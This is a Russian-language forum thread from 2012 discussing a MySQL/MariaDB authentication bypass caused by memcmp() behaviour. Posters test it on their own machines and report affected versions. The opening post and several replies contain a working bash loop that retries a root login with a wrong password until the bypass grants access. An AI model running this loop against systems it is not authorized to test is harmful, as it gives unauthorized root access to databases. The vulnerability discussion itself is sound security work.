Старый 11.06.2012, 14:35   #1
<cyber-punk>
 
Аватар для <cyber-punk>
 
Регистрация: 06.10.2011
Сообщений: 10
Репутация: 9
По умолчанию Смешная уязвимость в MySQL под Ubuntu 64-bit

В субботу координатор по безопасности проекта MariaDB Сергей Голубчик сообщил об интересной уязвимости в MySQL/MariaDB до версий 5.1.61, 5.2.11, 5.3.5, 5.5.22.

Суть в том, что при подключении пользователя MariaDB/MySQL вычисляется токен (SHA поверх пароля плюс хэш), который сравнивается с ожидаемым значением. При этом функция memcmp() должна возвращать значение в диапазоне -128..127, но на некоторых платформах (похоже, в glibc в Linux с оптимизацией под SSE) возвращаемое значение может выпадать из диапазона.

В итоге, в 1 случае из 256 процедура сравнения хэша с ожидаемым значением всегда возвращает значение true, независимо от хэша. Другими словами, система уязвима перед случайным паролем с вероятностью 1/256.

В итоге, простая команда на bash даёт злоумышленнику рутовый доступ к уязвимому серверу MySQL, даже если он не знает пароль.
Код:
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>
На данный момент наличие уязвимости неофициально подтверждено в следующих конфигурациях:

Цитата:
Ubuntu Linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04)
Debian Linux 64-bit (пока непонятно, в каких конкретно версиях)
Arch Linux (то же самое)
Пользователи также сообщают конфигурации, в которых уязвимость не наблюдается:

Цитата:
Официальные билды MySQL и MariaDB (включая Windows)
Red Hat Enterprise Linux, CentOS, Fedora Core (32-bit и 64-bit)
Ubuntu Linux 32-bit (10.04, 11.10, 12.04, вероятно все)
Debian Linux 6.0.3 64-bit (Version 14.14 Distrib 5.5.18)
Debian Linux lenny 32-bit 5.0.51a-24+lenny5
Debian Linux lenny 64-bit 5.0.51a-24+lenny5
Debian Linux lenny 64-bit 5.1.51-1-log
Debian Linux squeeze 64-bit 5.1.49-3-log
Debian Linux squeeze 32-bit 5.1.61-0+squeeze1
Debian Linux squeeze 64-bit 5.1.61-0+squeeze1
Джошуа Дрейк из компании Accuvant Labs опубликовал программу для проверки на уязвимость.

Оригинал
Хотелось бы узнать, работает, и если да то при каких условиях эта бага у вас.
Мой локалхост:
Код:
$ uname -a
Linux cyber-punk 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:41:14 UTC 2012 i686 i686 i386 GNU/Linux
$ mysql --version
mysql  Ver 14.14 Distrib 5.5.22, for debian-linux-gnu (i686) using readline 6.2
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
Сервак:
Код:
# uname -a
Linux shellinfo 2.6.18-274.7.1.el5.028stab095.1ent #1 SMP Mon Oct 24 22:02:36 MSD 2011 i686 GNU/Linux
# mysql --version
mysql  Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2
# for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
В обоих случаях результат нулевой.
__________________
Blog - cyberpunkych
Twitter - @cyberpunkych
<cyber-punk> вне форума   Ответить с цитированием
Старый 11.06.2012, 15:18   #2
Ereeee
 
Аватар для Ereeee
 
Регистрация: 19.01.2012
Сообщений: 110
Репутация: 12
По умолчанию

Fail
Код:
$ uname -a
Linux server1.facebook.com 2.6.18-274.17.1.el5xen #1 SMP Tue Jan 10 18:45:09 EST 2012 i686 i686 i386 GNU/Linux
$ mysql --version
mysql  Ver 15.1 Distrib 5.3.3-MariaDB-rc, for pc-linux-gnu (i686) using readline 5.1
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
Ereeee вне форума   Ответить с цитированием
Старый 11.06.2012, 17:29   #3
Andrey1800
 
Регистрация: 31.08.2010
Сообщений: 196
Репутация: 154
По умолчанию

не работает:
Код:
Linux andrey1800 2.6.32-5-amd64 #1 SMP Mon Jan 16 16:22:28 UTC 2012 x86_64 GNU/Linux
mysql  Ver 14.14 Distrib 5.1.61, for debian-linux-gnu (x86_64) using readline 6.1
работает:
Код:
Linux andrey1800 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux
mysql  Ver 14.14 Distrib 5.5.22, for Linux (x86_64) using readline 5.1
PS. пароль у рута должен быть не пустой, иначе он похоже тупо не сравнивает

Последний раз редактировалось Andrey1800; 11.06.2012 в 18:02..
Andrey1800 вне форума   Ответить с цитированием
Старый 11.06.2012, 18:20   #4
Ereeee
 
Аватар для Ereeee
 
Регистрация: 19.01.2012
Сообщений: 110
Репутация: 12
По умолчанию

Fail.
Код:
Linux server2.facebook.com 2.6.32-5-amd64 #1 SMP Mon Jan 16 16:22:28 UTC 2012 x86_64
mysql  Ver 14.14 Distrib 5.1.61, for debian-linux-gnu (x86_64) using readline 6.1
Ereeee вне форума   Ответить с цитированием
Старый 11.06.2012, 19:55   #5
mr.The
 
Аватар для mr.The
 
Регистрация: 05.07.2010
Сообщений: 73
Репутация: 16
По умолчанию

Работает:
Цитата:
Linux 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
mysql Ver 14.14 Distrib 5.5.22, for debian-linux-gnu (x86_64) using readline 6.2
__________________
Бложек mr.The. :rolleyes:
mr.The вне форума   Ответить с цитированием
Старый 11.06.2012, 20:20   #6
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 354
Репутация: 105
По умолчанию

везде фейлы.
Цитата:
Linux traff 2.6.26-2-xen-amd64 #1 SMP Wed Sep 21 05:57:38 UTC 2011 x86_64 GNU/Linux
mysql Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (x86_64) using readline 5.2
Цитата:
Linux holodilnik 2.6.32-5-amd64 #1 SMP Thu Mar 22 17:26:33 UTC 2012 x86_64 GNU/Linux
mysql Ver 14.14 Distrib 5.1.61, for debian-linux-gnu (x86_64) using readline 6.1
Цитата:
Linux www 2.6.18-308.el5.028stab099.3ent #1 SMP Wed Mar 7 17:21:55 MSK 2012 i686 GNU/Linux
mysql Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2
b3 вне форума   Ответить с цитированием
Старый 12.06.2012, 11:11   #7
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

вот это прикол ©

в зузе 12.1 работает
Server version: 5.5.16 Source distribution
12309 вне форума   Ответить с цитированием
Старый 12.06.2012, 11:12   #8
SynQ
 
Регистрация: 11.07.2010
Сообщений: 954
Репутация: 352
По умолчанию

Пишут надо дистрибутив x64 и похоже gcc 4.6, также упоминалось наличие sse4 в /proc/cpuinfo (хотя не понимаю, как это может быть значимым фактором - дистрибутив-то один для любого проца вероятно для систем, где админ сам компилировал из исходников).
РедХэт пишет, что федоры х64 тоже уязвимы.

Последний раз редактировалось SynQ; 12.06.2012 в 11:23..
SynQ вне форума   Ответить с цитированием
Старый 12.06.2012, 11:14   #9
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

описание читайте же. явно сказано - бага в 64битных осях, а вы на 32битных тестите и огорчаетесь, что не работает.
12309 вне форума   Ответить с цитированием
Старый 12.06.2012, 11:55   #10
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

5.1.61 включительно?

цент 5
mysql Ver 14.14 Distrib 5.1.56, for redhat-linux-gnu (x86_64) using readline 5.1
не работает.

цент 6
mysql Ver 14.14 Distrib 5.1.61, for redhat-linux-gnu (x86_64) using readline 5.1
не работает.
(а какого хрена в 5 и 6 одинаковая версия мускула? ._.)


//как в анекдоте про китайцев - через тысячу попыток сервер соглашается, что у него пароль "bad"
12309 вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot